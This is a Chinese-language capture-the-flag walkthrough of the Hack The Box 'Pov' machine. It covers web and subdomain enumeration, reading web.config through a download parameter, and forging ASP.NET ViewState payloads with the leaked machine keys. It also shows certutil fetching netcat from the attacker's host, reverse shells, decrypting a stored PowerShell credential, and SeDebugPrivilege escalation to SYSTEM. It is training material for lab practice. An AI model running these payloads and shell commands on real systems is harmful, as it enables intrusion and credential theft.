HTB Pov
初步端口探测
sudo nmap -sT --min-rate 10000 -p- 10.129.230.183 -oA nmapscan/ports
结果
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-21 01:55 EDT
Nmap scan report for 10.129.230.183
Host is up (0.17s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 31.15 seconds
只有一个端口
端口详细探测
sudo nmap -sT -sC -sV -O 10.129.230.183 -p 80 -oA nmapscan/detail
结果
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-21 02:00 EDT
Nmap scan report for 10.129.230.183
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.38 seconds
UDP 端口扫描
sudo nmap -sU --top-ports 20 10.129.230.183 -oA nmapscan/UDP
结果
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-21 02:00 EDT
Nmap scan report for 10.129.230.183
Host is up (0.17s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
UDP 扫描中，常见的 20 个端口没有可以利用的
在详细信息扫描中，只有一个端口，暴露类似域名的 pov. Htb 信息。
进行漏洞脚本扫描
sudo nmap --script=vuln 10.129.230.183 -p80 -oA nmapscan/vuln
结果
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|_ Couldn't find a file-type field.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 459.11 seconds
结果并没有发现什么明显的漏洞
进行 80 端口的渗透测试
主页面是非常简单的，但是下面的页面暴露出来了一些信息。
这里暴露出来dev. Pov. Htb 子域，也有一个电子邮箱存在 sfitz@pov.htb
子域名爆破
sudo ffuf -u http://10.129.230.183 -H "Host: FUZZ.pov.htb" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac -t 100
结果
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.230.183
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
可以使用 gobuster 再次验证
sudo gobuster vhost -k --domain pov.htb --append-domain -u http://10.129.230.183 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 --exclude-length 334
结果
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.230.183
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Length: 334
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.pov.htb Status: 302 [Size: 152] [--> http://dev.pov.htb/portfolio/]
Progress: 114442 / 114443 (100.00%)
===============================================================
Finished
===============================================================
从上面的扫描结果可以知道dev 是存在的子域。
查看一下有没有其他目录
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pov.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 141] [--> http://pov.htb/js/]
/img (Status: 301) [Size: 142] [--> http://pov.htb/img/]
/css (Status: 301) [Size: 142] [--> http://pov.htb/css/]
/CSS (Status: 301) [Size: 142] [--> http://pov.htb/CSS/]
/JS (Status: 301) [Size: 141] [--> http://pov.htb/JS/]
/Js (Status: 301) [Size: 141] [--> http://pov.htb/Js/]
/Css (Status: 301) [Size: 142] [--> http://pov.htb/Css/]
/IMG (Status: 301) [Size: 142] [--> http://pov.htb/IMG/]
/Img (Status: 301) [Size: 142] [--> http://pov.htb/Img/]
Progress: 23728 / 30000 (79.09%)[ERROR] parse "http://pov.htb/error\x1f_log": net/url: invalid control character in URL
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
没有什么有价值的目录，所以当前静态页面的分析价值也就基本没有了。
Dev. Pov. Htb 渗透
访问 Dev. Pov. Htb 便会重定向到上面这个页面中，这个页面中其实没什么有用的信息。
进行目录爆破
sudo gobuster dir -u http://dev.pov.htb -w /usr/share/seclists/Discovery/Web-
Content/raft-medium-directories.txt -t 100 --exclude-length 188 -b 302,404
结果
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.pov.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 302,404
[+] Exclude Length: 188
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 23921 / 30000 (79.74%)[ERROR] parse "http://dev.pov.htb/error\x1f_log": net/url: invalid control character in URL
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
对 dev. Pov. Htb 的爆破无结果
sudo gobuster dir -u http://dev.pov.htb/portfolio/ -w/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 100
结果
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.pov.htb/portfolio/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 159] [--> http://dev.pov.htb/portfolio/assets/]
/Assets (Status: 301) [Size: 159] [--> http://dev.pov.htb/portfolio/Assets/]
/con (Status: 302) [Size: 159] [--> /default.aspx?aspxerrorpath=/portfolio/con]
/aux (Status: 302) [Size: 159] [--> /default.aspx?aspxerrorpath=/portfolio/aux]
Progress: 23891 / 30000 (79.64%)[ERROR] parse "http://dev.pov.htb/portfolio/error\x1f_log": net/url: invalid control character in URL
/prn (Status: 302) [Size: 159] [--> /default.aspx?aspxerrorpath=/portfolio/prn]
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
dev.pov.htb/portfolio/ 的爆破也无结果。
几个路径都无法访问，但是发现菜单中有一个 contact 选项
是一个动态页面，而且有动态的 form 处理程序，是 POST 到它自己
尝试时，根据页面跳转，很容易猜到主页是 default. Aspx 即
http://dev.pov.htb/portfolio/default.aspx 。
提交联系信息，没有界面的明显变化，但应该是被处理了
现在我们有三个可以进行交互的页面：
简历下载、联系方式提交，再就是主页也是动态的。
尝试一下简历下载，用 BP 截取：
先进一步读取一些敏感文件
NTLM 嗅探
先建立共享
sudo impacket-smbserver RedteamNotes . -smb2support
然后 Burp Suite repeater 中发送 &file=\10.10.16.21\RedteamNotes\test 就可以尝试主动产生流量了，
看到的确能捕捉到 ntlm 认证。
捕捉到认证了，但是破解失败。
破解不成，还有什么敏感文件可以读？IIS 下都有什么？可能目录是什么？
Inetpub 下有
经尝试，可以读取到 web. Config 文件
现在加密类型和密钥都知道了，可以构建 payload
.\ysoserial.exe -p ViewState -g WindowsIdentity --
decryptionalg="AES" --
decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --
validationalg="SHA1" --
validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3C
F576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c
"ping -n 9 10.10.16.21"
启动流量捕捉
tshark -i tun0 -f icmp
Warning: program compiled against libxml 212 using older 209
Capturing on 'tun0'
替换 ping 为我们的反弹 shell payload，获取正式的系统 shell
certutil.exe -urlcache -split -f http://10.10.16.21/nc64.exe C:\Programdata\nc64.exe
C:\Programdata\nc64.exe 10.10.16.21 443 -e powershell.exe
先在工作路径建立简易 web 服务器
goshs -i 10.10.16.21 -p 80
INFO [2024-10-22 06:07:42] Download embedded file at: /example.txt?embedded
INFO [2024-10-22 06:07:42] Serving on 10.10.16.21:80
INFO [2024-10-22 06:07:42] Serving HTTP from /home/kali/RedteamNotes/HTB/Pov
逐一生成和实现如上两条命令：
PS C:\ysoserial.net > .\ysoserial.exe -p ViewState -g WindowsIdentity --
decryptionalg="AES" --
decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --
validationalg="SHA1" --
validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3C
F576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c
"certutil.exe -urlcache -split -f http://10.10.16.21/nc64.exe
C:\Programdata\nc64.exe"
OY9czPX174oQAF3pxA3DNHUrLUKFeD3QrbFOBEf3ckA3dJY3Qfn91nr7Yea25UbmgSsB%2BW18w3yi6u9%2FO
jgh2CU1GkfyHcuigUhqu9UXxCEEY9PnGe%2Bzls2rpnMkuRareNR2hN305Kn45eSfbJa8BSCSUEPvqnqhlhwS
sXQ2rwUAmcXyBX9e6a%2FMaad0w4iOzPFEUN7jKIpKDswp9f%2BHFIHbufW7hrtr7pRvt5tOVbHWENa6MYktY
0TrWEYuA8vaTio5ciP06jTbFRPd6TfYwD80QYnuA1sF4RJg8QPpk5bBkMFhj1o4pHt7A9BuXGwGEiMssxNK4U
m7j9aWJ%2BtoNUyfnxNMaIo9nsKje9%2F91KTxs%2BX1stfn4bwkmfKzHM2zKIATkbXNs3%2Fha414HIUJ9sE
USXE5Pw0fQidLmBmKigHnWce%2Bfi4UzDJBq4gqy96ZDp1Xzsc%2FqGKj%2FZ24MKiLFb0vRf%2FzRIeaau3S
mMu%2BbZNMk96XMowzJbM4cmp5rZarAKgIbMulCAyCN9YbijZcBWSX3%2BlrpFLUTh%2Bu5k6TCsnvob0Vkzj
DhO7u%2F29FClUW90CPLoC%2FcZMOV8zG%2FHOAWgbWLIFtcvcbANCMMSeoeCKNudWjxsYCMoq%2F9A5j3%2B
OB22d9Y4KPeBqtTUGKB4arj3v3NEsu6prA06v3mbHCbLsQ%2FFZl%2FQngCpOBQ%2BzqLdcvZBH772%2BeKiu
6eiiGRv3bx3NXYpnroY043CwkCmhLpjFwR9TVZAzELveRROKXDYw%2BvOAf6N4WmGddgS%2BNsQrg6mPQ5m%2
FlM%2B1%2BC%2BrOubFNa%2FW0zW6VTQcX6zmYpvw0IolcHHI9otOAVX30sUClEZiPMGq8csnipN8RNoGSENd
tiwdVxBg6FtZeuVzdo8bQmLOGXWXPQOATQFw83Sb4FFxoFoIH9481317gIdm%2FZIelTZ0arP5C71vLeOcJTm
9EXoFi4X2b8DMzdytqQ6LXN3kucLiIHULBTY7U2xCiJo4nDJF17ISEsucy49A6CUYOJ%2F%2FAT0U1vaZ9JZh
t8zuZyZ6DYH9UbMX9IT1Nd7zTjsp8bx9mkoBvGNPJQeZEVIbZx22DFcohtw1jaB9kzfEpsy%2FogQktJcIpwJ
1nIwTt6HCTWrX8depKiKbpMEumMeFDW7oqBG7aG33Gc5qrKq3z2nZBIiEQ%2B37tKzYFo25Q61N4Ze7MbCzpo
CnyHhounLsi4Nm1Ukz4pz1f5CDZhVfhY%2BxS5VqiVGiwzu9cCNiAGmFIRW6KWINKRZcnpo4gzbgBUE0y0yKt
ZbZjEFehrNGRiqDmth9Y8usLfL4Fir9jJXG1v9pboS8%2FAOQu9HW2GHq%2BViG7dJ0QxXTqPrglQTQVvfjeV
B%2BpE78A9SDo8teaTTE%2B8p%2FC5eg%2FejJ%2F5KToOG813WRKyC3LWrMUKJVIEm74zS2Cu9j3%2BAnnHu
YhVE%2BHaNu6xaDVxzdzpK4oj9NquuE%2FnOAYDoqdInGpWBUWIZauqacBwtNCuOrcwRL1%2FE27Vy13KkXVu
D4WnkQHMnZTYvDQSSPGihgthOYJbcqcxeiOSjFOtopia%2B%2Bv46fJLcYkb1rhTTJiz9xVGEJaa2GZue4Jfu
7yyUU73tRkyNfqraFU6RxaO3x4pQYr%2B2TXjtKvBkF69%2F%2B6rZgK1YzRR8r3SRVLgCB4%2FjKyNXgHPhG
Ql4A8c9e3ORLUhPgQFzfcJdc1WGkAAfqdRClqpzZuHv%2BFZ%2BXl5DDUgreGzYe3BEi3wbSOMIhHsa2MgniZ
0cE5HdxYnWV9GTxsoiZ%2FxY4X0wcD2zPPYvFXL68uaeq5pANjvF00i%2FImyJfAr8VRouzQfKRre8LaUKcoX
ICveORi71iyu3e61g%2FMD3Wx8MXLCJ2l%2FUbbTw78QcOBAETD4eR%2B4RUXO%2BM68dKLITY0tYLDEEbJzY
N%2BzpYkn%2FBcM6sCUa4HJ85RlWFgavOw8dzi9TBzSIvUknUvq6xICgBT1hxNwllYTbIDePSiBUBMYg%3D%3
D
执行反弹 shell 命令
PS C:\ysoserial.net > .\ysoserial.exe -p ViewState -g WindowsIdentity --
decryptionalg="AES" --
decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --
validationalg="SHA1" --
validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3C
F576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c
"C:\Programdata\nc64.exe 10.10.16.21 443 -e powershell.exe"
MTg6QxjOqJpMQeAky%2F4W8ZWtLm4S7Sqsfu3WI177oSwisy%2BBkiMhEhsef2JctePdS8JwDs5E8SyFyJHgk
9DhLXMPeSU6K1ftjo3krHFqCq7K%2BgmCFIarqeDvjFBU49p7XNok53sYpxyucjC%2Bv7I0xl1ehMGsH4ehNp
xF0W2sPh0HAPBejlOdmRVoTP2M0RCZSJtJiBF7x3Xs0fSPtQ7dw4MQtVITSok9hOVl0%2BI%2BLJoujeqPL0X
96Bz7LVX3XDKY4xTT0BB2xFOo10t0fKIHlKP6LfQXkKeTJ9ix2%2B3jU7%2BS4z6RRUFchRmJnCqp1wKBjzUV
6iXjq6I0kXk1L2G%2B5ZiVDxW%2BY5s2SGNaXmyiQhuQ0KTHHo7SBMBZjnDGjHeHj%2FBYMIQViM1zYIG5uW4
5E21WsDbKXi3Byv47DLKxeNzvBtSmh8eKMCjKrVNbubACAF2%2BDny8T6LjX%2FxZtlMF2CGBMURygb8fsDSf
jr9tUMuYlI6G103QDia9Lpu4zA%2BcnfjvvXR7ZBNKiKEhh7wIB7k%2Bi0eiJSa8EuttZ%2Be84bkeCY%2F3V
duMG7GJqgANuUSIKkm9m2To%2BAvld0ES50Jy36XBrwYIAOSLsdPhTH100S5mXqk1CNsV%2Fr5pnPCnABqL6m
rp5CkcYe23Hj18v8h8glOpHAKzJ8wOXFN3tw1m1xLh9e9%2FJP3AJ8vZDpBXLEXoftZBVj8agb3KwQ%2BrvQb
w2kNvPh0Av3fPn2JHPzaicsI6oRCfCaXIGUWA406%2FVpX8ROooQUqMjpLL6oRURNv2bW08h6zRmOxPBp%2BB
B0%2BLxmLAtnC0Ou%2BYumVI9TYYD7uY%2F0pJJAKj6BYECc3ZZGVnT6nzVKNbOpWsFPMedf5eB%2B%2BADCF
m2Nn7FHAjmGXgcKEV%2F6PqIUlYCPPQ79hpqax7Vtfzl8nt5BSOYHK6dui8tHGrFxPJsgRriO9cJW0dQqTdix
YrgZQ7J4ihUOS7A6cxwhshAIhIYnUJxR9n2QVON80KrirzwzVj%2FkQxpg2LZrZEda97zgJJLtrT5gtYfJu06
yaqi8wbYy0fj7FtKIvF1vglQDhXp7hNBlPePcieS4DcrRVY5Fzqz546eVnIPy9nyBRI%2Fu%2FDmNtI3T5dLq
%2BktD2Kp%2BQngCZrByPV%2FFY3DweHgDv7NB1yYlRS08C7RsT59Uideqv69X6oqJSNYzaFOtITJTcSPVHdq
PXDHevpElkawEBsXD5l8bBpBvTP4JN2SbE5UC8Os8EXMRCm4u031MA1sz03MY1%2BpCeWp3PTxyxHGxMUBR8e
nzgcg%2B9QawMeK%2FQBsjsid%2FjvB6%2BmbPHUSWCF2mL%2BB%2FOdp2h6lNVMkffXfe7F9jao3sYDIssUn
JEb%2BhZ3GDHzDKXI1u0O3Dj0kUxEqvuxJAVy8xSFDJT8huMvjobODnQ%2Fzzfi9Wuj74ldrn9r2R5%2FBGc%
2FSOkid%2B3g%2B65KMBH79G8IbHlDy5n4BgsGzpct0hrXqBrgoiH%2BZ7Fu6pvR0nm3I%2F6ll1h0PYiNirK
8%2F2m3WN%2Fb1%2BWSGDhnLqA8p27WBqrJeJ8KhNZp45pSMmGcUfFhk7BFZ71lJh%2B65gqVISLwNtP2ZfVc
OAZ1D1QOQ%2FKuRRWgF2kEmnCiP0o8ugHkQz75IAMOyTmLcCnWmtroSk7zpEIu8e9MIAXmzTX%2B%2BL2uKr4
D9gPl4P%2B54XmNaLc0W7DGFgV1seVqqBuYLJXRBuyM7P8wkeDmHLlry5udafQAk1hazGzlK02lVyuS%2BTVO
dbvTIKe8pK5BHFSwAm9CMSwJVYe1p2olmjiBFUBEQhOm%2FYCqSEx%2Fw6D1Wh0ycV4BEtZBrz9Jxusfkub74
idD1APqKwUMqJDOxPXCfrb1NXwNUa5Ek8oM%2BMX1evp7ABrYUd8FnuAPqdY2g74hb3zt0qPzGHpigvKnDynd
x81dBZi2Bg%3D%3D
成功获得了反弹 shell
sudo rlwrap -cAr nc -lvnp 443
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.230.183] 49678
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv> whoami;hostname;ipconfig;systeminfo
whoami;hostname;ipconfig;systeminfo
pov\sfitz
pov
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1a4
IPv6 Address. . . . . . . . . . . : dead:beef::f55b:a6c2:35a0:4b34
Link-local IPv6 Address . . . . . : fe80::cb19:8b33:fa28:c88f%4
IPv4 Address. . . . . . . . . . . : 10.129.230.183
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:acf1%4
10.129.0.1
Host Name: POV
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA076
Original Install Date: 10/26/2023, 1:01:55 PM
System Boot Time: 10/17/2024, 7:22:41 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD
~2994 Mhz
[02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD
~2994 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 3,228 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 3,948 MB
Virtual Memory: In Use: 851 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.230.183
[02]: fe80::cb19:8b33:fa28:c88f
[03]: dead:beef::f55b:a6c2:35a0:4b34
[04]: dead:beef::1a4
Hyper-V Requirements: A hypervisor has been detected. Features required for
Hyper-V will not be displayed.
找一下 flag
PS C:\windows\system32\inetsrv> gci C:\Users\ -Filter *.txt -File -Recurse
gci : Access to the path 'C:\Users\.NET v4.5' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\.NET v4.5:String)
, UnauthorizedAccessExcepti
on
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
gci : Access to the path 'C:\Users\.NET v4.5 Classic' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\.NET v4.5 Classic:String)
, UnauthorizedAcces
sException
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
gci : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator:String)
, UnauthorizedAccessExc
eption
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
gci : Access to the path 'C:\Users\alaading' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\alaading:String)
, UnauthorizedAccessExceptio
n
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
没有 flag ，在 Documents 下发现 connection. Xml 文件。
处理 connection. Xml
PS C:\users\sfitz\Documents> gci
Directory: C:\users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
PS C:\users\sfitz\Documents> gc c*
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS
N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe
1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65
ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382
f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed
1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7
a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c78631744733
0113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
通常 Export-Clixml 与 Import-Clixml 的配合使用，Export-Clixml 是用于将 PowerShell 对象序列化
成 XML 格式并保存到文件中的命令。而 Import-Clixml 则是读取并反序列化这个 XML 文件，恢复
PowerShell 对象的命令。
进行操作
PS C:\users\sfitz\Documents> $cred = import-clixml -Path connection.xml
PS C:\users\sfitz\Documents> $cred.GetNetworkCredential().UserName
alaading
PS C:\users\sfitz\Documents> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
获得 alaading 的 shell
PS C:\programdata\apps> certutil -urlcache -f http://10.10.16.21/RunasCs.exe
RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\programdata\apps> gci
Directory: C:\programdata\apps
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 1:32 AM 51712 RunasCs.exe
结果
PS C:\programdata\apps> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r
10.10.16.21:443
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-f32eb$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with
pid 1128 created in background.
-r 反弹给 kali 一个 shell，这样我们再次获得反弹 shell：
sudo rlwrap -cAr nc -lvnp 443
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.230.183] 49683
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
寻找 flag
PS C:\Windows\system32> gci C:\Users\ -Filter *.txt -File -Recurse
gci C:\Users\ -Filter *.txt -File -Recurse
gci : Access to the path 'C:\Users\.NET v4.5' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\.NET v4.5:String)
, UnauthorizedAccessExcepti
on
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
gci : Access to the path 'C:\Users\.NET v4.5 Classic' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\.NET v4.5 Classic:String)
, UnauthorizedAcces
sException
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
gci : Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator:String)
, UnauthorizedAccessExc
eption
[Get-ChildItem]
[Get-ChildItem]
[Get-ChildItem]
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Directory: C:\Users\alaading\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/17/2024 7:23 AM 34 user.txt
gci : Access to the path 'C:\Users\sfitz' is denied.
At line:1 char:1
+ gci C:\Users\ -Filter *.txt -File -Recurse
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\sfitz:String)
, UnauthorizedAccessException
+ FullyQualifiedErrorId :
DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
获得 user flag
PS C:\Windows\system32> gc C:\Users\alaading\Desktop\user.txt
d0a3c3cba05330425b6c20d9b3b5962a
尝试提权
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
将编译好的程序传入靶机中：
PS C:\programdata\apps> whoami
pov\alaading
PS C:\programdata\apps> certutil -urlcache -f http://10.10.16.21/gogetsys.exe
gogetsys.exe
**** Online ****
CertUtil: -URLCache command completed successfully
执行得到
PS C:\programdata\apps> get-process winlogon
get-process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
255 12 2652 16264 0.39 548 1 winlogon
PS C:\programdata\apps> .\gogetsys.exe 548 "C:\ProgramData\nc64.exe 10.10.16.21 443 -
e cmd.exe"
[+] 新进程创建成功。
|-> PID : 772
|-> TID : 2848
在 alaading 中 runas
PS C:\programdata\apps> whoami
pov\alaading
PS C:\programdata\apps> .\RunasCs.exe redpen RedteamN0t3s. powershell.exe -r
10.10.16.21:443
